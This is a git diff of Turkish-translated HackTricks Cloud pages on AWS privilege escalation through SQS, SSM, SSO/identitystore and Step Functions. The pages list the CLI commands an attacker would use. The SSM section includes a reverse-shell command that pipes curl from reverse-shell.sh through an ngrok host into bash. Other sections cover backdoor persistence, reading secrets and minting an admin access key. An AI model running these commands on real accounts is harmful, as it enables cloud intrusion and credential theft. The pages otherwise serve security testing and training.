sonuçlanabilir. -```bash -cssCopy codeaws sqs add-permission --queue-url --actions --aws-account-ids --label -``` -**Potansiyel Etki**: Yetkisiz kullanıcılar veya hizmetler tarafından kuyruğa yetkisiz erişim, mesaj ifşası veya kuyruk manipülasyonu. - -### `sqs:SendMessage` , `sqs:SendMessageBatch` - -Bir saldırgan, SQS kuyruğuna kötü niyetli veya istenmeyen mesajlar gönderebilir, bu da veri bozulmasına, istenmeyen eylemlerin tetiklenmesine veya kaynakların tükenmesine neden olabilir. -```bash -aws sqs send-message --queue-url --message-body -aws sqs send-message-batch --queue-url --entries -``` -**Olası Etki**: Açık istismarı, Veri bozulması, istenmeyen eylemler veya kaynak tükenmesi. - -### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility` - -Bir saldırgan, bir SQS kuyruğundaki mesajları alabilir, silebilir veya görünürlüğünü değiştirebilir, bu da mesaj kaybına, veri bozulmasına veya bu mesajlara bağımlı uygulamalar için hizmet kesintisine neden olabilir. -```bash -aws sqs receive-message --queue-url -aws sqs delete-message --queue-url --receipt-handle -aws sqs change-message-visibility --queue-url --receipt-handle --visibility-timeout -``` -**Potansiyel Etki**: Hassas bilgilerin çalınması, Mesaj kaybı, veri bozulması ve etkilenen mesajlara bağımlı uygulamalar için hizmet kesintisi. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc/README.md new file mode 100644 index 000000000..15ef8d9fb --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc/README.md @@ -0,0 +1,40 @@ +# AWS - SQS Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## SQS + +Daha fazla bilgi için bakınız: + +{{#ref}} +../../aws-services/aws-sqs-and-sns-enum.md +{{#endref}} + +### `sqs:AddPermission` + +Bir saldırgan bu izni, yeni politikalar oluşturarak veya mevcut politikaları değiştirerek yetkisiz kullanıcıların veya servislerin bir SQS kuyruğuna erişimini sağlaması için kullanabilir. Bu, kuyruğa ilişkin mesajlara yetkisiz erişim veya kuyruğun yetkisiz taraflarca manipüle edilmesi ile sonuçlanabilir. +```bash +aws sqs add-permission --queue-url --actions --aws-account-ids --label +``` +**Potansiyel Etki**: Kuyruğa yetkisiz erişim, mesajların açığa çıkması veya yetkisiz kullanıcılar ya da servisler tarafından kuyruğun manipüle edilmesi. + +### `sqs:SendMessage` , `sqs:SendMessageBatch` + +Bir saldırgan SQS kuyruğuna kötü amaçlı veya istenmeyen mesajlar göndererek veri bozulmasına, istenmeyen eylemlerin tetiklenmesine veya kaynakların tükenmesine neden olabilir. +```bash +aws sqs send-message --queue-url --message-body +aws sqs send-message-batch --queue-url --entries +``` +**Potansiyel Etki**: Güvenlik açığının istismarı, veri bozulması, istenmeyen işlemler veya kaynak tükenmesi. + +### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility` + +Bir saldırgan SQS kuyruğundaki mesajları alabilir, silebilir veya görünürlüklerini değiştirebilir; bu durum, bu mesajlara bağımlı uygulamalar için mesaj kaybına, veri bozulmasına veya hizmet kesintisine yol açabilir. +```bash +aws sqs receive-message --queue-url +aws sqs delete-message --queue-url --receipt-handle +aws sqs change-message-visibility --queue-url --receipt-handle --visibility-timeout +``` +**Potansiyel Etki**: Hassas bilgilerin çalınması, mesaj kaybı, veri bozulması ve etkilenen mesajlara bağlı uygulamalar için hizmet aksaması. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md deleted file mode 100644 index ec229d14a..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md +++ /dev/null @@ -1,130 +0,0 @@ -# AWS - SSM Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## SSM - -SSM hakkında daha fazla bilgi için kontrol edin: - -{{#ref}} -../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ -{{#endref}} - -### `ssm:SendCommand` - -**`ssm:SendCommand`** iznine sahip bir saldırgan, Amazon SSM Agent'ı çalıştıran örneklerde **komutlar çalıştırabilir** ve içindeki **IAM Rolünü tehlikeye atabilir.** -```bash -# Check for configured instances -aws ssm describe-instance-information -aws ssm describe-sessions --state Active - -# Send rev shell command -aws ssm send-command --instance-ids "$INSTANCE_ID" \ ---document-name "AWS-RunShellScript" --output text \ ---parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash" -``` -Eğer bu tekniği zaten ele geçirilmiş bir EC2 örneği içinde ayrıcalıkları artırmak için kullanıyorsanız, rev shell'i yerel olarak şu şekilde yakalayabilirsiniz: -```bash -# If you are in the machine you can capture the reverseshel inside of it -nc -lvnp 4444 #Inside the EC2 instance -aws ssm send-command --instance-ids "$INSTANCE_ID" \ ---document-name "AWS-RunShellScript" --output text \ ---parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash" -``` -**Olası Etki:** Çalışan örneklere bağlı EC2 IAM rollerine doğrudan yetki yükseltme. - -### `ssm:StartSession` - -**`ssm:StartSession`** iznine sahip bir saldırgan, **Amazon SSM Agent'ı çalıştıran örneklerde SSH benzeri bir oturum başlatabilir** ve **içinde çalışan IAM Rolünü tehlikeye atabilir.** -```bash -# Check for configured instances -aws ssm describe-instance-information -aws ssm describe-sessions --state Active - -# Send rev shell command -aws ssm start-session --target "$INSTANCE_ID" -``` -> [!CAUTION] -> Bir oturum başlatmak için **SessionManagerPlugin**'in kurulu olması gerekir: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html) - -**Potansiyel Etki:** SSM Agent'ları çalışan örneklere bağlı EC2 IAM rollerine doğrudan privesc. - -#### ECS'ye Privesc - -**ECS görevleri** **`ExecuteCommand` etkinleştirildiğinde** yeterli izinlere sahip kullanıcılar `ecs execute-command` kullanarak **konteyner içinde bir komut çalıştırabilirler.**\ -[**belgelere göre**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) bu, “_exec_” komutunu başlatmak için kullandığınız cihaz ile SSM Session Manager ile hedef konteyner arasında güvenli bir kanal oluşturarak yapılır. (Bunun çalışması için SSM Session Manager Plugin gereklidir)\ -Bu nedenle, `ssm:StartSession` iznine sahip kullanıcılar, bu seçenek etkinleştirildiğinde **ECS görevleri içinde bir shell alabileceklerdir** sadece şunu çalıştırarak: -```bash -aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID" -``` -![](<../../../images/image (185).png>) - -**Potansiyel Etki:** `ExecuteCommand` etkin olan çalışan görevlere bağlı `ECS` IAM rollerine doğrudan yetki yükseltme. - -### `ssm:ResumeSession` - -**`ssm:ResumeSession`** iznine sahip bir saldırgan, Amazon SSM Agent'ı çalıştıran örneklerde **bağlantısı kesilmiş** SSM oturum durumu ile bir SSH benzeri oturumu yeniden **başlatabilir** ve içindeki IAM Rolünü **tehdit edebilir**. -```bash -# Check for configured instances -aws ssm describe-sessions - -# Get resume data (you will probably need to do something else with this info to connect) -aws ssm resume-session \ ---session-id Mary-Major-07a16060613c408b5 -``` -**Potansiyel Etki:** Çalışan örneklere bağlı EC2 IAM rollerine doğrudan privesc ve SSM Agent'ları ile bağlantısı kesilmiş oturumlar. - -### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`) - -Belirtilen izinlere sahip bir saldırgan, **SSM parametrelerini** listeleyebilecek ve **bunları düz metin olarak okuyabilecektir**. Bu parametrelerde sıklıkla **hassas bilgiler** bulabilirsiniz, örneğin SSH anahtarları veya API anahtarları. -```bash -aws ssm describe-parameters -# Suppose that you found a parameter called "id_rsa" -aws ssm get-parameters --names id_rsa --with-decryption -aws ssm get-parameter --name id_rsa --with-decryption -``` -**Olası Etki:** Parametreler içinde hassas bilgileri bulma. - -### `ssm:ListCommands` - -Bu izne sahip bir saldırgan, gönderilen tüm **komutları** listeleyebilir ve umarım bunlarda **hassas bilgileri** bulabilir. -``` -aws ssm list-commands -``` -**Olası Etki:** Komut satırlarında hassas bilgileri bulmak. - -### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`) - -Bu izinlere sahip bir saldırgan, gönderilen tüm **komutları** listeleyebilir ve **üretilecek çıktıyı** okuyarak umarım **hassas bilgileri** bulabilir. -```bash -# You can use any of both options to get the command-id and instance id -aws ssm list-commands -aws ssm list-command-invocations - -aws ssm get-command-invocation --command-id --instance-id -``` -**Potansiyel Etki:** Komut satırlarının çıktısında hassas bilgileri bulmak. - -### ssm:CreateAssociation Kullanımı - -**`ssm:CreateAssociation`** iznine sahip bir saldırgan, SSM tarafından yönetilen EC2 örneklerinde komutları otomatik olarak çalıştırmak için bir State Manager Association oluşturabilir. Bu ilişkiler, etkileşimli oturumlar olmadan arka kapı benzeri kalıcılık için uygun hale getirmek üzere sabit bir aralıkta çalışacak şekilde yapılandırılabilir. -```bash -aws ssm create-association \ ---name SSM-Document-Name \ ---targets Key=InstanceIds,Values=target-instance-id \ ---parameters commands=["malicious-command"] \ ---schedule-expression "rate(30 minutes)" \ ---association-name association-name -``` -> [!NOTE] -> Bu kalıcılık yöntemi, EC2 örneği Systems Manager tarafından yönetildiği, SSM ajanı çalıştığı ve saldırganın ilişkilendirmeler oluşturma iznine sahip olduğu sürece çalışır. Etkileşimli oturumlar veya açık ssm:SendCommand izinleri gerektirmez. **Önemli:** `--schedule-expression` parametresi (örneğin, `rate(30 minutes)`) AWS'nin minimum 30 dakikalık aralığını dikkate almalıdır. Anlık veya tek seferlik yürütme için `--schedule-expression` tamamen hariç tutulmalıdır — ilişkilendirme oluşturulduktan sonra bir kez yürütülecektir. - -### Codebuild - -Ayrıca, SSM'yi inşa edilen bir codebuild projesine girmek için de kullanabilirsiniz: - -{{#ref}} -aws-codebuild-privesc.md -{{#endref}} - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md new file mode 100644 index 000000000..18f222272 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md @@ -0,0 +1,130 @@ +# AWS - SSM Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## SSM + +SSM hakkında daha fazla bilgi için bakınız: + +{{#ref}} +../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ +{{#endref}} + +### `ssm:SendCommand` + +**`ssm:SendCommand`** iznine sahip bir saldırgan, Amazon SSM Agent çalıştıran instance'larda komut çalıştırabilir ve bu instance'ın içinde çalışan IAM Role'u ele geçirebilir. +```bash +# Check for configured instances +aws ssm describe-instance-information +aws ssm describe-sessions --state Active + +# Send rev shell command +aws ssm send-command --instance-ids "$INSTANCE_ID" \ +--document-name "AWS-RunShellScript" --output text \ +--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash" +``` +Bu tekniği zaten ele geçirilmiş bir EC2 instance içinde escalate privileges için kullanıyorsanız, rev shell'i yerel olarak şu şekilde yakalayabilirsiniz: +```bash +# If you are in the machine you can capture the reverseshel inside of it +nc -lvnp 4444 #Inside the EC2 instance +aws ssm send-command --instance-ids "$INSTANCE_ID" \ +--document-name "AWS-RunShellScript" --output text \ +--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash" +``` +**Potential Impact:** SSM Agents'ın yüklü olduğu çalışan instance'lara bağlı EC2 IAM rollere doğrudan privesc. + +### `ssm:StartSession` + +Bir saldırgan **`ssm:StartSession`** iznine sahipse, Amazon SSM Agent çalıştıran instance'larda **SSH benzeri bir oturum başlatabilir** ve içindeki **IAM Role'ü ele geçirebilir**. +```bash +# Check for configured instances +aws ssm describe-instance-information +aws ssm describe-sessions --state Active + +# Send rev shell command +aws ssm start-session --target "$INSTANCE_ID" +``` +> [!CAUTION] +> Oturum başlatmak için **SessionManagerPlugin** yüklü olmalıdır: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html) + +**Potansiyel Etki:** SSM Agents'in kurulu olduğu çalışan instance'lara bağlı EC2 IAM rollerine doğrudan privesc. + +#### ECS'e privesc + +When **ECS tasks** run with **`ExecuteCommand` enabled** users with enough permissions can use `ecs execute-command` to **execute a command** inside the container.\ +According to [**the documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) this is done by creating a secure channel between the device you use to initiate the “_exec_“ command and the target container with SSM Session Manager. (SSM Session Manager Plugin bunun için gerekli)\ +Bu nedenle, `ssm:StartSession` izinlerine sahip kullanıcılar, bu seçenek etkinse sadece şu komutu çalıştırarak **ECS tasks içinde bir shell elde edebilecekler:** +```bash +aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID" +``` +![](<../../../images/image (185).png>) + +**Olası Etki:** `ExecuteCommand` etkin olan running tasks'e bağlı `ECS` IAM rollerine doğrudan privesc. + +### `ssm:ResumeSession` + +Bir saldırgan **`ssm:ResumeSession`** iznine sahip olduğunda, Amazon SSM Agent'ı çalıştıran ve SSM session state'i **disconnected** olan instance'larda re-**SSH benzeri bir oturum başlatabilir** ve içinde çalışan **IAM Role**'ü ele geçirebilir. +```bash +# Check for configured instances +aws ssm describe-sessions + +# Get resume data (you will probably need to do something else with this info to connect) +aws ssm resume-session \ +--session-id Mary-Major-07a16060613c408b5 +``` +**Potansiyel Etki:** SSM Agents çalışan ve disconected sessions bulunan running instance'lara bağlı EC2 IAM rolleri üzerinde doğrudan privesc. + +### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`) + +Bahsedilen izinlere sahip bir saldırgan **SSM parameters** listesini görüntüleyebilir ve **clear-text olarak okuyabilir**. Bu parametrelerde sıklıkla **hassas bilgiler bulabilirsiniz**, örneğin SSH keys veya API keys. +```bash +aws ssm describe-parameters +# Suppose that you found a parameter called "id_rsa" +aws ssm get-parameters --names id_rsa --with-decryption +aws ssm get-parameter --name id_rsa --with-decryption +``` +**Potansiyel Etki:** Parametrelerin içinde hassas bilgi bulunabilir. + +### `ssm:ListCommands` + +Bu izne sahip bir saldırgan gönderilen tüm **commands** listesini görebilir ve umarım bunlarda **hassas bilgi** bulabilir. +``` +aws ssm list-commands +``` +**Potansiyel Etki:** Komut satırlarında hassas bilgilerin bulunması. + +### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`) + +Bu izinlere sahip bir saldırgan gönderilen tüm **komutları** listeleyebilir ve üretilen çıktıyı **okuyarak**, içinde **hassas bilgiler** bulabilir. +```bash +# You can use any of both options to get the command-id and instance id +aws ssm list-commands +aws ssm list-command-invocations + +aws ssm get-command-invocation --command-id --instance-id +``` +**Potansiyel Etki:** Komut satırı çıktıları içinde hassas bilgilerin bulunması. + +### ssm:CreateAssociation kullanımı + +Yetkisi **`ssm:CreateAssociation`** olan bir saldırgan, SSM tarafından yönetilen EC2 örneklerinde komutları otomatik olarak çalıştırmak için bir State Manager Association oluşturabilir. Bu association'lar sabit aralıklarla çalışacak şekilde yapılandırılabilir; bu da etkileşimli oturumlar olmadan arka kapı benzeri kalıcılık sağlar. +```bash +aws ssm create-association \ +--name SSM-Document-Name \ +--targets Key=InstanceIds,Values=target-instance-id \ +--parameters commands=["malicious-command"] \ +--schedule-expression "rate(30 minutes)" \ +--association-name association-name +``` +> [!NOTE] +> Bu persistence yöntemi, EC2 instance'ın Systems Manager tarafından yönetildiği, SSM agent'ın çalıştığı ve saldırganın associations oluşturma iznine sahip olduğu sürece çalışır. Etkileşimli oturumlar veya açık ssm:SendCommand izinleri gerektirmez. **Önemli:** `--schedule-expression` parametresi (örn. `rate(30 minutes)`) AWS'in 30 dakikalık minimum aralığına uymalıdır. Hemen veya tek seferlik yürütme için `--schedule-expression` parametresini tamamen atlayın — association oluşturulduktan sonra bir kez çalışacaktır. + +### Codebuild + +SSM'i, inşa edilmekte olan bir codebuild projesinin içine girmek için de kullanabilirsiniz: + +{{#ref}} +../aws-codebuild-privesc/README.md +{{#endref}} + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md similarity index 55% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md index c464797b6..dd3120e32 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md @@ -1,33 +1,33 @@ # AWS - SSO & identitystore Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## AWS Identity Center / AWS SSO -AWS Identity Center / AWS SSO hakkında daha fazla bilgi için kontrol edin: +AWS Identity Center / AWS SSO hakkında daha fazla bilgi için bakınız: {{#ref}} -../aws-services/aws-iam-enum.md +../../aws-services/aws-iam-enum.md {{#endref}} > [!WARNING] -> **Varsayılan** olarak, yalnızca **Yönetim Hesabı** ile izinleri olan **kullanıcılar**, **IAM Kimlik Merkezi**'ne erişim sağlayabilir ve kontrol edebilir.\ -> Diğer hesaplardan kullanıcılar, yalnızca hesap **Delegeli Yönetici** ise bunu yapabilir.\ -> [Daha fazla bilgi için belgeleri kontrol edin.](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html) +> Varsayılan olarak, yalnızca **Management Account**'tan izinlere sahip **kullanıcılar** IAM Identity Center'a erişip **kontrol edebilecektir**.\ +> Diğer hesaplardaki kullanıcılar bunu yalnızca hesap **Delegated Adminstrator.** ise yapabilir.\ +> [Check the docs for more info.](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html) -### ~~Şifreyi Sıfırla~~ +### ~~Reset Password~~ -Bu tür durumlarda ayrıcalıkları artırmanın kolay bir yolu, kullanıcıların şifrelerini sıfırlamalarına izin veren bir izne sahip olmaktır. Ne yazık ki, kullanıcının şifresini sıfırlamak için yalnızca kullanıcıya bir e-posta göndermek mümkündür, bu nedenle kullanıcının e-posta erişimine ihtiyacınız olacaktır. +Bu tür durumlarda kolay bir şekilde escalate privileges elde etmenin yolu, kullanıcı şifrelerini sıfırlamaya izin veren bir izne sahip olmaktır. Ne yazık ki, şifre sıfırlama için yalnızca kullanıcıya bir e-posta göndermek mümkün olduğundan, kullanıcının e-postasına erişiminiz olması gerekir. ### `identitystore:CreateGroupMembership` -Bu izinle, bir kullanıcıyı bir gruba eklemek mümkündür, böylece grup tarafından sahip olunan tüm izinleri miras alır. +Bu izin ile bir kullanıcıyı bir gruba eklemek mümkün olur; böylece kullanıcı grup tarafından sahip olunan tüm izinleri devralır. ```bash aws identitystore create-group-membership --identity-store-id --group-id --member-id UserId= ``` ### `sso:PutInlinePolicyToPermissionSet`, `sso:ProvisionPermissionSet` -Bu izne sahip bir saldırgan, kontrolü altındaki bir kullanıcıya verilen bir İzin Setine ek izinler verebilir. +Bu izne sahip bir saldırgan, kontrolündeki bir kullanıcıya verilen bir Permission Set'e ek izinler verebilir ```bash # Set an inline policy with admin privileges aws sso-admin put-inline-policy-to-permission-set --instance-arn --permission-set-arn --inline-policy file:///tmp/policy.yaml @@ -50,7 +50,7 @@ aws sso-admin provision-permission-set --instance-arn --permissio ``` ### `sso:AttachManagedPolicyToPermissionSet`, `sso:ProvisionPermissionSet` -Bu izne sahip bir saldırgan, kontrolü altındaki bir kullanıcıya verilen bir İzin Setine ek izinler verebilir. +Bu izne sahip bir saldırgan, kendisinin kontrolü altındaki bir kullanıcıya atanan bir Permission Set'e ek izinler verebilir. ```bash # Set AdministratorAccess policy to the permission set aws sso-admin attach-managed-policy-to-permission-set --instance-arn --permission-set-arn --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess" @@ -60,10 +60,10 @@ aws sso-admin provision-permission-set --instance-arn --permissio ``` ### `sso:AttachCustomerManagedPolicyReferenceToPermissionSet`, `sso:ProvisionPermissionSet` -Bu izne sahip bir saldırgan, kontrolü altındaki bir kullanıcıya verilen bir İzin Setine ek izinler verebilir. +Bu izne sahip bir saldırgan, kontrolü altındaki bir kullanıcıya verilen bir Permission Set'e ekstra izinler verebilir. > [!WARNING] -> Bu izinleri kötüye kullanmak için, etkilenecek olan **TÜM hesaplar içinde bulunan bir müşteri yönetimli politikanın adını** bilmeniz gerekir. +> Bu izinleri bu durumda kötüye kullanmak için etkilenecek hesapların TAMAMINDA bulunan bir **customer managed policy'nin adını** bilmeniz gerekir. ```bash # Set AdministratorAccess policy to the permission set aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn --permission-set-arn --customer-managed-policy-reference @@ -73,40 +73,40 @@ aws sso-admin provision-permission-set --instance-arn --permissio ``` ### `sso:CreateAccountAssignment` -Bu izne sahip bir saldırgan, kontrolü altındaki bir kullanıcıya bir hesap için bir İzin Seti verebilir. +Bu izne sahip bir saldırgan, kontrolündeki bir kullanıcıya bir hesap için Permission Set atayabilir. ```bash aws sso-admin create-account-assignment --instance-arn --target-id --target-type AWS_ACCOUNT --permission-set-arn --principal-type USER --principal-id ``` ### `sso:GetRoleCredentials` -Kullanıcıya atanmış belirli bir rol adı için STS kısa vadeli kimlik bilgilerini döndürür. +Kullanıcıya atanmış belirli bir rol adı için STS kısa süreli kimlik bilgilerini döndürür. ``` aws sso get-role-credentials --role-name --account-id --access-token ``` -Ancak, nasıl alacağım konusunda emin olmadığım bir erişim belirtecine ihtiyacınız var (TODO). +Ancak, nasıl elde edileceğini bilmediğim bir access token'a ihtiyacınız var (TODO). ### `sso:DetachManagedPolicyFromPermissionSet` -Bu izne sahip bir saldırgan, belirtilen izin setinden bir AWS yönetilen politikasının ilişkilendirmesini kaldırabilir. **Yönetilen bir politikayı (reddetme politikası) ayırarak** daha fazla ayrıcalık vermek mümkündür. +Bu izne sahip bir saldırgan, belirtilen permission set ile bir AWS managed policy arasındaki ilişkiyi kaldırabilir. Daha fazla yetki, **detaching a managed policy (deny policy)** yoluyla verilebilir. ```bash aws sso-admin detach-managed-policy-from-permission-set --instance-arn --permission-set-arn --managed-policy-arn ``` ### `sso:DetachCustomerManagedPolicyReferenceFromPermissionSet` -Bu izne sahip bir saldırgan, belirtilen izin setinden bir Müşteri yönetimli politikasının ilişkilendirmesini kaldırabilir. **Yönetilen bir politikayı (reddetme politikası) ayırarak** daha fazla ayrıcalık vermek mümkündür. +Bu izne sahip bir saldırgan, belirtilen permission set ile bir Customer managed policy arasındaki ilişkiyi kaldırabilir. Daha fazla ayrıcalık **detaching a managed policy (deny policy)** yoluyla verilebilir. ```bash aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn --permission-set-arn --customer-managed-policy-reference ``` ### `sso:DeleteInlinePolicyFromPermissionSet` -Bu izne sahip bir saldırgan, izin setinden bir satır içi politikadan izinleri kaldırma işlemi yapabilir. **Bir satır içi politikayı (reddetme politikası) ayırarak daha fazla ayrıcalık vermek mümkündür.** +Bu izne sahip bir saldırgan, permission set içindeki bir inline policy'den izinleri kaldırabilir. Bir inline policy'yi (deny policy) ayırarak **daha fazla ayrıcalık sağlanabilir**. ```bash aws sso-admin delete-inline-policy-from-permission-set --instance-arn --permission-set-arn ``` ### `sso:DeletePermissionBoundaryFromPermissionSet` -Bu izne sahip bir saldırgan, izin setinden İzin Sınırını kaldırabilir. İzin Sınırından verilen İzin Seti üzerindeki kısıtlamaları kaldırarak **daha fazla ayrıcalık vermek mümkündür**. +Bu izne sahip bir saldırgan, Permission Boundary'i Permission Set'ten kaldırabilir. Permission Boundary tarafından verilen Permission Set üzerindeki kısıtlamaları kaldırarak **daha fazla ayrıcalık verilebilir**. ```bash aws sso-admin delete-permissions-boundary-from-permission-set --instance-arn --permission-set-arn ``` -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md deleted file mode 100644 index 3c688dd20..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md +++ /dev/null @@ -1,231 +0,0 @@ -# AWS - Step Functions Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## Step Functions - -Bu AWS hizmeti hakkında daha fazla bilgi için kontrol edin: - -{{#ref}} -../aws-services/aws-stepfunctions-enum.md -{{#endref}} - -### Görev Kaynakları - -Bu ayrıcalık yükseltme teknikleri, istenen ayrıcalık yükseltme eylemlerini gerçekleştirmek için bazı AWS step function kaynaklarını kullanmayı gerektirecektir. - -Tüm olası eylemleri kontrol etmek için, kendi AWS hesabınıza gidip kullanmak istediğiniz eylemi seçebilir ve kullandığı parametreleri görebilirsiniz, örneğin: - -
- -Ya da API AWS belgelerine gidip her eylemin belgelerini kontrol edebilirsiniz: - -- [**AddUserToGroup**](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html) -- [**GetSecretValue**](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html) - -### `states:TestState` & `iam:PassRole` - -**`states:TestState`** & **`iam:PassRole`** izinlerine sahip bir saldırgan, mevcut bir durum makinesi oluşturmadan veya güncellemeden herhangi bir durumu test edebilir ve ona herhangi bir IAM rolü geçirebilir, bu da rollerin izinleriyle diğer AWS hizmetlerine yetkisiz erişimi mümkün kılabilir. Bu izinler bir araya geldiğinde, iş akışlarını manipüle etmekten veri değiştirmeye, veri ihlallerine, kaynak manipülasyonuna ve ayrıcalık yükseltmeye kadar geniş yetkisiz eylemlere yol açabilir. -```bash -aws states test-state --definition --role-arn [--input ] [--inspection-level ] [--reveal-secrets | --no-reveal-secrets] -``` -Aşağıdaki örnekler, bu izinleri ve AWS ortamının izin veren rolünü kullanarak **`admin`** kullanıcısı için bir erişim anahtarı oluşturan bir durumu test etmenin nasıl yapılacağını göstermektedir. Bu izin veren rol, duruma **`iam:CreateAccessKey`** eylemini gerçekleştirme izni veren herhangi bir yüksek ayrıcalıklı politika ile ilişkilendirilmelidir (örneğin **`arn:aws:iam::aws:policy/AdministratorAccess`**): - -- **stateDefinition.json**: -```json -{ -"Type": "Task", -"Parameters": { -"UserName": "admin" -}, -"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey", -"End": true -} -``` -- **Yetki yükseltme** gerçekleştirmek için yürütülen **komut**: -```bash -aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam:::role/PermissiveRole - -{ -"output": "{ -\"AccessKey\":{ -\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\", -\"CreateDate\":\"2024-07-09T16:59:11Z\", -\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\", -\"Status\":\"Active\", -\"UserName\":\"admin\" -} -}", -"status": "SUCCEEDED" -} -``` -**Potansiyel Etki**: Yetkisiz yürütme ve iş akışlarının manipülasyonu ile hassas kaynaklara erişim, bu da önemli güvenlik ihlallerine yol açabilir. - -### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`) - -Bir saldırgan **`states:CreateStateMachine`** & **`iam:PassRole`** izinlerine sahip olduğunda, bir durum makinesi oluşturabilir ve ona herhangi bir IAM rolü verebilir, bu da diğer AWS hizmetlerine rol izinleriyle yetkisiz erişim sağlar. Önceki yetki yükseltme tekniğiyle (**`states:TestState`** & **`iam:PassRole`**) karşılaştırıldığında, bu teknik kendiliğinden çalışmaz, ayrıca **`states:StartExecution`** veya **`states:StartSyncExecution`** izinlerine de sahip olmanız gerekir (**`states:StartSyncExecution`** **standart iş akışları için mevcut değildir**, **sadece durum makinelerini ifade etmek için**) durum makinesi üzerinde bir yürütme başlatmak için. -```bash -# Create a state machine -aws states create-state-machine --name --definition --role-arn [--type ] [--logging-configuration ]\ -[--tracing-configuration ] [--publish | --no-publish] [--version-description ] - -# Start a state machine execution -aws states start-execution --state-machine-arn [--name ] [--input ] [--trace-header ] - -# Start a Synchronous Express state machine execution -aws states start-sync-execution --state-machine-arn [--name ] [--input ] [--trace-header ] -``` -Aşağıdaki örnekler, **`admin`** kullanıcısı için bir erişim anahtarı oluşturan ve bu erişim anahtarını bir saldırgan kontrolündeki S3 bucket'ına sızdıran bir durum makinesi oluşturmanın nasıl yapılacağını göstermektedir. Bu izinleri ve AWS ortamının izin veren rolünü kullanarak. Bu izin veren rol, durum makinesinin **`iam:CreateAccessKey`** ve **`s3:putObject`** eylemlerini gerçekleştirmesine izin veren herhangi bir yüksek ayrıcalıklı politika ile ilişkilendirilmelidir (örneğin **`arn:aws:iam::aws:policy/AdministratorAccess`**). - -- **stateMachineDefinition.json**: -```json -{ -"Comment": "Malicious state machine to create IAM access key and upload to S3", -"StartAt": "CreateAccessKey", -"States": { -"CreateAccessKey": { -"Type": "Task", -"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey", 